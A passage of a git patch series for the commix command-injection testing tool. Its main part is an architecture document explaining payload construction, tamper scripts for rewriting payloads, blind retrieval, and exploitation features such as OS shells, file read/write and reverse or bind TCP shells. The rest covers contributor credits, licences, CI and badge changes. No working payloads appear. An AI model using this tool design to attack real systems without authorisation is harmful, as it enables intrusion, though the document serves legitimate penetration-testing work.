with the three letters rather than replacing them - `EVAL_TECHNIQUE_LETTER` is +what it went by before `--eval` existed, kept so that stored sessions still read. + +The three blind techniques retrieve a character at a time and bisect on its ordinal. The payload +therefore asks a yes/no question, and the technique's own channel - a delay, a file, a request made +elsewhere - carries the yes. + +## Building the payload + +A command becomes a payload by being wrapped and carried. + +**Boundaries.** `settings.PREFIXES`, `SUFFIXES` and `SEPARATORS`, narrowed to the level in force by +`apply_injection_level()`, which reads them off the `_LVL1/2/3` lists. +`handler.py: _boundary_combinations()` walks every combination worth sending and drops the ones that +collapse onto something already tried - a prefix that is itself a separator arrives as the empty +prefix that was tried first, and a suffix is dead against a payload that has already closed itself. + +**Choosing among them.** `--test-filter` and `--test-skip`, through `checks.test_selected()`, asked +of every boundary rather than of the technique as a whole. + +**Whitespace.** `settings.WHITESPACES`, which a tamper script is allowed to rewrite. + +**Tampering.** One script per file in `src/tamper/`. A script defines `tamper(payload)` and hands it +back rewritten. Where a script needs the whole request instead of the payload, `xforwardedfor.py` is +the precedent, hooked in `headers.do_check()`. `checks.tamper_scripts()` loads them and +`perform_payload_modification()` applies them in order. + +**Carriers.** Where the parameter's value arrived written in something - Base64, hex, whatever +`--param-encoding` names or detection worked out - the payload is written out the same way. A value +answered in a different encoding from the one it came in is not that parameter's value. + +## Getting it there and back + +`src/core/requests/` + +Every request leaves through one door. `headers.check_http_traffic()` builds the opener, applies the +policy, sends, reads and logs. A caller that wants to read or time the answer itself goes through +`headers.send_raw()`, which still applies the policy and is still counted. `requests.py` is what the +rest of the code actually calls: `get_request_response()`, the per-technique request builders, the +page-stability check. + +Two things to know before changing anything here, both learned the hard way: + +- **`settings.TOTAL_OF_REQUESTS` is not just a tally.** `stability.should_keep_retrying()`, + `expand_retry_budget()` and `request_was_retried()` all read it. Count a request without growing + the budget beside it and the retry loop starves - after which every later request quietly falls + through to a bare fallback, taking the traffic log, the proxy and the redirect handling with it. +- **What is applied to one request path has to be applied to all of them.** `--retry-on` was once + honoured on the technique's requests but not on the two samples the stability check compares, and + that alone was enough to make a target that refuses at random look uninjectable: the two samples + differed, so the element the result prints into was set aside as noise for the rest of the run. + +The rest is one concern per file - `anticsrf.py`, `authentication.py`, `cookies.py`, +`redirection.py`, `keepalive.py`, `chunked.py`, `proxy.py`, `tor.py`, `hooks.py` for +`--preprocess`/`--postprocess`, `mining.py` for `--mine-params`/`--mine-endpoints`, and +`reproduce.py`, which writes a finding out as a command you can run yourself. + +### What a body is made of + +`parameters.py` decides what counts as a parameter. A POST body is recognised by its shape and split +accordingly, in `configure_post_data_format()` and `split_post_parameters()`: + +| Shape | Flag | Split into | +|-------|------|------------| +| form | - | `name=value` pairs | +| JSON | `IS_JSON` | members, flattened, named by the path they sit at | +| SOAP/XML | `IS_XML` | elements, keeping the layout so the document can be rebuilt | +| GraphQL | `IS_GRAPHQL` | the document cut after each argument, so the pieces joined are the document again | + +A structured body is never form-encoded. It escapes for its own syntax and goes out under its own +content type, because a percent-encoded payload inside a JSON string is not a payload any more. + +## Deciding what it means + +`src/core/controller/checks.py` is the biggest file in the tree and holds everything that is not one +technique's business: the heuristics, the false-positive re-check, page comparison and dynamic-region +marking, protection handling, option validation, and the wording of what gets reported. + +For one parameter the order is: whether it is dynamic at all (`--skip-static`), whether it is worth +the full set (the heuristic), then technique after technique until one confirms - and then the +finding is re-proved before anybody is told about it. + +## Once it works + +| File | What it does | +|------|--------------| +| `controller/handler.py` | runs a command through the confirmed point and reads the output back | +| `controller/injector.py` | the retrieval loop, threaded where the technique allows | +| `controller/enumeration.py` | the target facts `--all` and its friends ask for | +| `controller/file_access.py` | `--file-read`, `--file-write`, `--file-dest` | +| `controller/shell_options.py` | the `--os-shell` prompt | +| `controller/proof.py` | `--proof` - re-prove every finding and write the transcript beside the output | +| `core/shells/` | the shells themselves: reverse and bind TCP, the relay, the modes | + +## What survives + +**Within a run**, from one target to the next: nothing learned about one may read as true of +another. `settings.reset_target_state()` records a baseline the first time it runs and restores it +for every target after. `RUN_WIDE_STATE` names what is exempt - what the user asked for, what has +been answered once and should not be asked again, the tallies kept across targets. Everything else +is per-target, and **a new name is per-target unless it is listed**; the omission that used to leak +is now the safe direction. `RESTORED_OPTIONS` covers the options a target's own testing can change +and which the next target is entitled to see as the user left them. + +**Between runs**: `src/utils/session_handler.py`, one SQLite file per target holding the injection +points and what was learned, which is why a second run answers at once. `--flush-session` discards +it, `--ignore-session` leaves it in place and ignores it. + +**On disk**: `.output/<host>_<port>/` (`settings.OUTPUT_DIR`), with `logs.py` writing the run's own +log, `--report-json` and `--results-file`; `-t` writing the HTTP traffic from `headers.py`, and +`--har` writing it through `src/utils/har.py`. + +## Where things live + +| Path | What is in it | +|------|---------------| +| `src/core/main.py` | the run | +| `src/core/parse/` | the command line, the configuration file, a raw request file | +| `src/core/controller/` | orchestration, detection, exploitation, enumeration, proof | +| `src/core/requests/` | everything that reaches the network, and what a parameter is | +| `src/core/techniques/` | one package per technique | +| `src/core/eval/` | the evaluator sink - its grammars and its payloads | +| `src/core/oob/` | the out-of-band channel, its provider and its keys | +| `src/core/shells/` | interactive shells and the TCP handlers | +| `src/core/modules/` | injection that needs no ordinary parameter | +| `src/tamper/` | payload-rewriting scripts | +| `src/utils/` | settings, session, logs, crawler, progress, install, update | +| `src/thirdparty/` | bundled libraries, so that a run needs nothing installed | +| `data/txt/` | word lists read at runtime | + +Two objects carry the run, and neither is passed around - both are imported where they are read. +`src/utils/settings.py` holds the constants and the mutable run state, and is where a new constant +goes. `menu.options` holds what the user asked for, as `optparse` produced it. + +Names are `lower_snake_case`, constants `UPPERCASE`, indentation is two spaces, and every comment +and docstring is one line. + +## Adding something + +| To add | Start at | +|--------|----------| +| an option | `parse/cmdline.py`, then `core/options.py: validate()` for combinations that cannot hold | +| a constant | `utils/settings.py` | +| a tamper script | a file in `src/tamper/`, then the registry in `settings.TAMPER_SCRIPTS` | +| a technique | a package under `core/techniques/`, then `execution.select_injector()` and `settings.TECHNIQUE_ORDER` | +| a language for `--eval` | a module in `core/eval/grammars/` | +| a body format | `parameters.configure_post_data_format()` and `split_post_parameters()` | +| a module | the `MODULES` map in `core/modules/modules_handler.py`, and `settings.MODULES` | + +And when something is already wrong: the wire is `requests/headers.py`, whether a parameter was +tested at all is `controller.py: perform_checks()`, whether a finding was believed is `checks.py`, +what a run remembers is `session_handler.py`, and state bleeding from one target into the next is +`settings.RUN_WIDE_STATE`. diff --git a/doc/AUTHOR b/doc/AUTHOR deleted file mode 100644 index 0f42877870..0000000000 --- a/doc/AUTHOR +++ /dev/null @@ -1,2 +0,0 @@ -Anastasios Stasinopoulos -https://stasinopoulos.github.io/ diff --git a/doc/AUTHOR.md b/doc/AUTHOR.md new file mode 100644 index 0000000000..765c904dbb --- /dev/null +++ b/doc/AUTHOR.md @@ -0,0 +1,7 @@ +Author and core maintainer of **Commix Project**: + +**Anastasios Stasinopoulos** (**[@ancst](https://x.com/ancst)**) + +[`Site`](https://stasinopoulos.github.io/) • [`GitHub`](https://github.com/stasinopoulos) • [`X`](https://x.com/ancst) • [`Email`](mailto:a.stasinopoulos@protonmail.com) + +Everyone who has given something to commix is listed in [`THANKS.md`](THANKS.md). diff --git a/doc/THANKS.md b/doc/THANKS.md index 13ed70aeee..04b1af7ee5 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -1,110 +1,133 @@ -## Corporate sponsorship: -* Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship. +# Thanks -## List of individual donors: -* Thanks Joseph Disser for a donation. -* Thanks John Brinton for a donation. -* Thanks [Himself132](https://github.com/Himself132) for a donation. -* Thanks [m3g9tr0n](https://x.com/m3g9tr0n) for a donation. +Everyone below gave something to commix - code, translation, a package, an idea, or the report that led to a fix. -## List of individual contributors: -* Thanks [anonymousdouble](https://github.com/anonymousdouble) for contributing code. -* Thanks [n00b-bot](https://github.com/n00b-bot) for suggesting a feature. -* Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. -* Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. -* Thanks [0xFred](https://github.com/0xFred) for contributing code. -* Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. -* Thanks [daniruiz](https://github.com/daniruiz) for contributing code. -* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. -* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). -* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. -* Thanks [609496288](https://github.com/609496288) for reporting a bug. -* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug. -* Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug. -* Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug. -* Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features -* Thanks [Alan Placidina](https://github.com/Placidina) for contributing code. -* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug and for contributing code. -* Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code. -* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code and for suggesting an enhancement. -* Thanks [apprentice](https://github.com/apprentice) for contributing code. -* Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature. -* Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug. -* Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs. -* Thanks [blshkv](https://github.com/blshkv) for reporting a bug and for suggesting a feature. -* Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug. -* Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug. -* Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug. -* Thanks [ChenYun4164](https://github.com/ChenYun4164) for reporting a few bugs. -* Thanks [CINOAdam](https://github.com/CINOAdam) for reporting a bug. -* Thanks [Cxarli](https://github.com/Cxarli) for reporting a bug. -* Thanks [dabing1205](https://github.com/dabing1205) for reporting a bug. -* Thanks [dblock](https://github.com/dblock) for reporting a bug. -* Thanks [dloco01](https://github.com/dloco01) for reporting a bug. -* Thanks [doufu13](https://github.com/doufu13) for reporting a bug. -* Thanks [Doug-Wyman](https://github.com/Doug-Wyman) for reporting a bug. -* Thanks [ethicalhack3r](https://github.com/ethicalhack3r) for reporting a bug. -* Thanks [fuero](https://github.com/fuero) for contributing code. -* Thanks [g0tmi1k](https://github.com/g0tmi1k) for contributing code. -* Thanks [gcattani](https://github.com/gcattani) for reporting a bug. -* Thanks [ghost](https://github.com/ghost) for suggesting a feature. -* Thanks [h0nus](https://github.com/h0nus) for reporting a bug. -* Thanks [hack0mate](https://github.com/hack0mate) for reporting a bug. -* Thanks [hadiirani](https://github.com/hadiirani) for reporting a bug. -* Thanks [Hax0rG1rl](https://github.com/Hax0rG1rl) for suggesting an enhancement. -* Thanks [hcstorm](https://github.com/hcstorm) for reporting mutliple bugs. -* Thanks [Himself132](https://github.com/Himself132) for reporting a few bugs and for suggesting an enhancement. -* Thanks [init5-msft](https://github.com/init5-msft) for reporting a bug. -* Thanks [lacroutelacroute](https://github.com/lacroutelacroute) for reporting a few bugs. -* Thanks [Jean Helie](https://github.com/jhelie) for contributing code. -* Thanks [juushya](https://github.com/juushya) for reporting a bug. -* Thanks [kaczalapa](https://github.com/kaczalapa) for reporting a few bugs. -* Thanks [Kali95739](https://github.com/Kali95739) for reporting a bug. -* Thanks [liboLee](https://github.com/liboLee) for reporting a bug. -* Thanks [MidnightSeer](https://github.com/MidnightSeer) for reporting a bug. -* Thanks [mohammed-sec2010](https://github.com/mohammed-sec2010) for suggesting a feature. -* Thanks [MR-pentestGuy](https://github.com/MR-pentestGuy) for reporting a bug. -* Thanks [Narvalo999](https://github.com/Narvalo999) for reporting a few bugs. -* Thanks [Ny223](https://github.com/Ny223) for reporting a bug. -* Thanks [NullArray](https://github.com/NullArray) for reporting a bug. -* Thanks [onuryilmazinfo](https://github.com/onuryilmazinfo) for reporting a bug. -* Thanks [Parshuram2](https://github.com/Parshuram2) for reporting a bug. -* Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug. -* Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug. -* Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. -* Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. -* Thanks [raeph123](https://github.com/raeph123) for contributing code. -* Thanks [Raymond-JV](https://github.com/Raymond-JV) for contributing code. -* Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. -* Thanks [royshum93](https://github.com/royshum93) for reporting a bug. -* Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. -* Thanks [saltasatelites](https://github.com/saltasatelites) for reporting a bug. -* Thanks [scblakely](https://github.com/scblakely) for reporting a bug. -* Thanks [shaojava](https://github.com/shaojava) for reporting a bug. -* Thanks [shelld3v](https://github.com/shelld3v) for contributing code. -* Thanks [Simon](https://github.com/simonuvarov) for contributing code. -* Thanks [simonuvarov](https://github.com/simonuvarov) for reporting a bug. -* Thanks [Slavery](https://github.com/Slavery) for reporting a bug. -* Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug. -* Thanks [somarrr](https://github.com/somarrr) for reporting a bug. -* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting enhancements. -* Thanks [td4b](https://github.com/td4b) for contributing code. -* Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug. -* Thanks [Tensha](https://github.com/Tensha) for reporting a bug. -* Thanks [temp3l](https://github.com/temp3l) for reporting a bug. -* Thanks [thenight7](https://github.com/thenight7) for suggesting an enhancement. -* Thanks [Tim Gates](https://github.com/timgates42) for contributing code. -* Thanks [vincentubuntu](https://github.com/vincentubuntu) for reporting a bug. -* Thanks [vinod272](https://github.com/vinod272) for reporting a bug. -* Thanks [vmotos](https://github.com/vmotos) for reporting a bug. -* Thanks [vojtapolasek](https://github.com/vojtapolasek) for reporting a few bugs. -* Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug. -* Thanks [w9w](https://github.com/w9w) for reporting a bug. -* Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug. -* Thanks [webideveli](https://github.com/webideveli) for reporting a bug. -* Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features -* Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement. -* Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs. -* Thanks [zaaazaa](https://github.com/zaaazaa) for reporting a bug. -* Thanks [zar3bski](https://github.com/zar3bski) for reporting a bug. -* Thanks [Zarcolio](https://github.com/Zarcolio) for reporting a bug. +## Sponsors + +[Obrela Security Industries](https://www.obrela.com/) + +## Donors + +John Brinton · Joseph Disser · [Himself132](https://github.com/Himself132) · +[m3g9tr0n](https://x.com/m3g9tr0n) + +## Code + +[0xFred](https://github.com/0xFred) · +[Alan Placidina](https://github.com/Placidina) · +[alpha1e0](https://github.com/alpha1e0) · +[András Veres-Szentkirályi](https://github.com/dnet) · +[anonymousdouble](https://github.com/anonymousdouble) · +[Anton Bolshakov](https://github.com/blshkv) · +[apprentice](https://github.com/apprentice) · +[daniruiz](https://github.com/daniruiz) · +[fuero](https://github.com/fuero) · +[g0tmi1k](https://github.com/g0tmi1k) · +[Jean Helie](https://github.com/jhelie) · +[raeph123](https://github.com/raeph123) · +[Raymond-JV](https://github.com/Raymond-JV) · +[shelld3v](https://github.com/shelld3v) · +[Simon](https://github.com/simonuvarov) · +[td4b](https://github.com/td4b) · +[Tim Gates](https://github.com/timgates42) + +## Translations + +[Kazgangap](https://github.com/Kazgangap) - Turkish · +[verfosec](https://github.com/verfosec) - Farsi (Persian) · +[galihap76](https://github.com/galihap76) - Indonesian + +## Packaging + +[JitPatro](https://github.com/JitPatro) - the snap package (`snap install commix`) + +## Features and enhancements + +[0x27](https://github.com/0x27) · +[ajinabraham](https://github.com/ajinabraham) · +[Anton Bolshakov](https://github.com/blshkv) · +[arbazkiraak](https://github.com/arbazkiraak) · +[ghost](https://github.com/ghost) · +[Hax0rG1rl](https://github.com/Hax0rG1rl) · +[Himself132](https://github.com/Himself132) · +[mohammed-sec2010](https://github.com/mohammed-sec2010) · +[n00b-bot](https://github.com/n00b-bot) · +[prince74igor](https://github.com/prince74igor) · +[royharoush](https://github.com/royharoush) · +[Suselz](https://github.com/Suselz) · +[thenight7](https://github.com/thenight7) · +[xerxoria](https://github.com/xerxoria) · +[xsuperbug.](https://github.com/xsuperbug.) · +[XVilka](https://github.com/XVilka) + +## Bugs reported + +[609496288](https://github.com/609496288) · +[6kemb0bani](https://github.com/6kemb0bani) · +[Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) · +[abdoxfox](https://github.com/abdoxfox) · +[ajinabraham](https://github.com/ajinabraham) · +[alpha1e0](https://github.com/alpha1e0) · +[Anton Bolshakov](https://github.com/blshkv) · +[ayzikhn18](https://github.com/ayzikhn18) · +[B4RD4k](https://github.com/B4RD4k) · +[botdigit-admin](https://github.com/botdigit-admin) · +[CaptanLuffy](https://github.com/CaptanLuffy) · +[Cat0x00](https://github.com/Cat0x00) · +[ChenYun4164](https://github.com/ChenYun4164) · +[CINOAdam](https://github.com/CINOAdam) · +[Cxarli](https://github.com/Cxarli) · +[dabing1205](https://github.com/dabing1205) · +[dblock](https://github.com/dblock) · +[dloco01](https://github.com/dloco01) · +[doufu13](https://github.com/doufu13) · +[Doug-Wyman](https://github.com/Doug-Wyman) · +[ethicalhack3r](https://github.com/ethicalhack3r) · +[gcattani](https://github.com/gcattani) · +[h0nus](https://github.com/h0nus) · +[hack0mate](https://github.com/hack0mate) · +[hadiirani](https://github.com/hadiirani) · +[hcstorm](https://github.com/hcstorm) · +[Himself132](https://github.com/Himself132) · +[init5-msft](https://github.com/init5-msft) · +[juushya](https://github.com/juushya) · +[kaczalapa](https://github.com/kaczalapa) · +[Kali95739](https://github.com/Kali95739) · +[lacroutelacroute](https://github.com/lacroutelacroute) · +[liboLee](https://github.com/liboLee) · +[MidnightSeer](https://github.com/MidnightSeer) · +[MR-pentestGuy](https://github.com/MR-pentestGuy) · +[Narvalo999](https://github.com/Narvalo999) · +[NullArray](https://github.com/NullArray) · +[Ny223](https://github.com/Ny223) · +[onuryilmazinfo](https://github.com/onuryilmazinfo) · +[Parshuram2](https://github.com/Parshuram2) · +[plonibarploni](https://github.com/plonibarploni) · +[pomil-1969](https://github.com/pomil-1969) · +[powercrypt](https://github.com/powercrypt) · +[royshum93](https://github.com/royshum93) · +[SaifSalah](https://github.com/SaifSalah) · +[saltasatelites](https://github.com/saltasatelites) · +[scblakely](https://github.com/scblakely) · +[shaojava](https://github.com/shaojava) · +[Simon](https://github.com/simonuvarov) · +[Slavery](https://github.com/Slavery) · +[sno0ose](https://github.com/sno0ose) · +[somarrr](https://github.com/somarrr) · +[Suselz](https://github.com/Suselz) · +[techn0tr0ll](https://github.com/techn0tr0ll) · +[temp3l](https://github.com/temp3l) · +[Tensha](https://github.com/Tensha) · +[vincentubuntu](https://github.com/vincentubuntu) · +[vinod272](https://github.com/vinod272) · +[vmotos](https://github.com/vmotos) · +[vojtapolasek](https://github.com/vojtapolasek) · +[VolkNwn](https://github.com/VolkNwn) · +[w9w](https://github.com/w9w) · +[WangSongsen](https://github.com/WangSongsen) · +[webideveli](https://github.com/webideveli) · +[xerxoria](https://github.com/xerxoria) · +[yournainaidi](https://github.com/yournainaidi) · +[zaaazaa](https://github.com/zaaazaa) · +[zar3bski](https://github.com/zar3bski) · +[Zarcolio](https://github.com/Zarcolio) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md new file mode 100644 index 0000000000..91d684e3e9 --- /dev/null +++ b/doc/THIRD-PARTY.md @@ -0,0 +1,113 @@ +# Third-party code + +Commix runs with nothing installed beyond Python itself. The libraries it needs are carried in the +tree under `src/thirdparty/`, and this file records what they are and the terms they come under. +Grouped by licence, each group followed by the licence in full, because the BSD and MIT terms below +require the notice to travel with the code. + +| Library | Version | Where | What commix uses it for | +|---------|---------|-------|-------------------------| +| [Beautiful Soup](https://www.crummy.com/software/BeautifulSoup/) | 3.2.1 | `src/thirdparty/beautifulsoup/` | parsing pages while crawling, in `src/utils/crawler.py` | +| [chardet](https://github.com/chardet/chardet) | 4.0.0 | `src/thirdparty/chardet/` | working out a page's character encoding when the target does not say | +| [Colorama](https://github.com/tartley/colorama) | 0.3.9 | `src/thirdparty/colorama/` | coloured console output, on Windows as well | +| [flatten-json](https://github.com/amirziai/flatten) | - | `src/thirdparty/flatten_json/` | flattening a JSON body so each member can be named by the path it sits at | +| [PySocks](https://github.com/Anorov/PySocks) | 1.7.1 | `src/thirdparty/socks/` | SOCKS4/5 proxies, and reaching Tor directly | +| [six](https://github.com/benjaminp/six) | 1.16.0 | `src/thirdparty/six/` | the Python 2 and 3 compatibility layer the rest of the tree imports through | + +`src/thirdparty/odict/` is not third-party code: it is a nine-line shim that hands back +`collections.OrderedDict`, falling back to the six version on interpreters too old to have it. + +## BSD + +* **Beautiful Soup**, under `src/thirdparty/beautifulsoup/`. + Copyright (c) 2004-2010, Leonard Richardson. +* **Colorama**, under `src/thirdparty/colorama/`. + Copyright (c) 2013, Jonathan Hartley. +* **PySocks**, under `src/thirdparty/socks/`. + Copyright (c) 2006, Dan-Haim. + +```` +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +```` + +## MIT + +* **flatten-json**, under `src/thirdparty/flatten_json/`. + Copyright (c) 2016, Amir Ziai. +* **six**, under `src/thirdparty/six/`. + Copyright (c) 2010-2020, Benjamin Peterson. + +```` +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +```` + +## LGPL 2.1 or later + +* **chardet**, under `src/thirdparty/chardet/`. + The Universal Character Encoding Detector. The original code is Mozilla's universal charset + detector; the initial developer is Netscape Communications Corporation, portions created by it + being copyright (c) 2001. Shy Shalom wrote the original C code and Mark Pilgrim ported it to + Python. + +```` +This library is free software; you can redistribute it and/or modify it under +the terms of the GNU Lesser General Public License as published by the Free +Software Foundation; either version 2.1 of the License, or (at your option) +any later version. + +This library is distributed in the hope that it will be useful, but WITHOUT +ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more +details. + +You should have received a copy of the GNU Lesser General Public License along +with this library; if not, write to the Free Software Foundation, Inc., +51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +```` + +The full text of the GNU Lesser General Public License is at +<https://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt>. + +## Commix itself + +Everything outside `src/thirdparty/` is commix's own and is licensed under the GNU General Public +License v3 - see [`LICENSE.txt`](../LICENSE.txt). That includes `src/utils/brotli.py`, which is a +Brotli decoder written for commix rather than a bundled library. diff --git a/src/utils/settings.py b/src/utils/settings.py index a4e104776e..29dae800a1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "169" +REVISION = "170" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7ee2d4e10d427b17d6f4596c21f93c5e0fba3ace Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Sun, 27 Sep 2026 11:04:47 +0300 Subject: [PATCH 0836/1023] Modify build workflow for Python 3.7 support Updated macOS runner version and clarified comments regarding supported architectures. --- .github/workflows/builds.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 31c520f1fd..c80cf743ba 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -18,11 +18,11 @@ jobs: fail-fast: false matrix: # Pairs are listed explicitly rather than crossed: Python 3.7 is published for x64 images - # only - Linux up to 22.04, and the x64 macOS runners - so it cannot be installed on - # 'ubuntu-latest' (24.04) or on 'macos-latest' (arm64). + # only - Linux up to 22.04 and Intel macOS runners - so it cannot be installed on + # 'ubuntu-latest' (24.04) or ARM64 macOS runners. include: - - { os: ubuntu-22.04, python-version: '3.7' } - - { os: macos-13, python-version: '3.7' } + - { os: ubuntu-22.04, python-version: '3.7' } + - { os: macos-15-intel, python-version: '3.7' } - { os: windows-latest, python-version: '3.7' } - { os: ubuntu-latest, python-version: '3.12' } - { os: macos-latest, python-version: '3.12' } From 7bee7e183dfa119a36af8715e915075fee5847f7 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Sun, 27 Sep 2026 11:24:10 +0300 Subject: [PATCH 0837/1023] Update badge links and styles in README.md --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 71de8a4698..3535676315 100644 --- a/README.md +++ b/README.md @@ -9,10 +9,10 @@ </div> <p align="center"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://img.shields.io/github/actions/workflow/status/commixproject/commix/builds.yml?branch=master&label=Builds%20Tests&style=for-the-badge&logo=githubactions&logoColor=white"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/Python-3.7%2B-3776AB.svg?style=for-the-badge&logo=python&logoColor=white"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/License-GPLv3-6A1B9A.svg?style=for-the-badge&logo=gnu&logoColor=white"></a> + <a href="https://x.com/commixproject"><img alt="Follow @commixproject" src="https://img.shields.io/badge/Follow-@commixproject-000000.svg?style=for-the-badge&logo=x&logoColor=white"></a> </p> **Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command](https://owasp.org/www-community/attacks/Command_Injection)** (and **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection vulnerabilities. From d83c184814b693e56f8b800903b8e7402eeb7b8c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 28 Sep 2026 07:37:40 +0300 Subject: [PATCH 0838/1023] Added new boolean-based blind injection technique, reading its answer off the page rather than off a delay, with `--string`, `--not-string`, `--regexp` and `--code` for saying what a true answer looks like --- README.md | 10 +- doc/ARCHITECTURE.md | 18 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 18 +- doc/translations/README-fa-FA.md | 19 +- doc/translations/README-fr-FR.md | 18 +- doc/translations/README-gr-GR.md | 19 +- 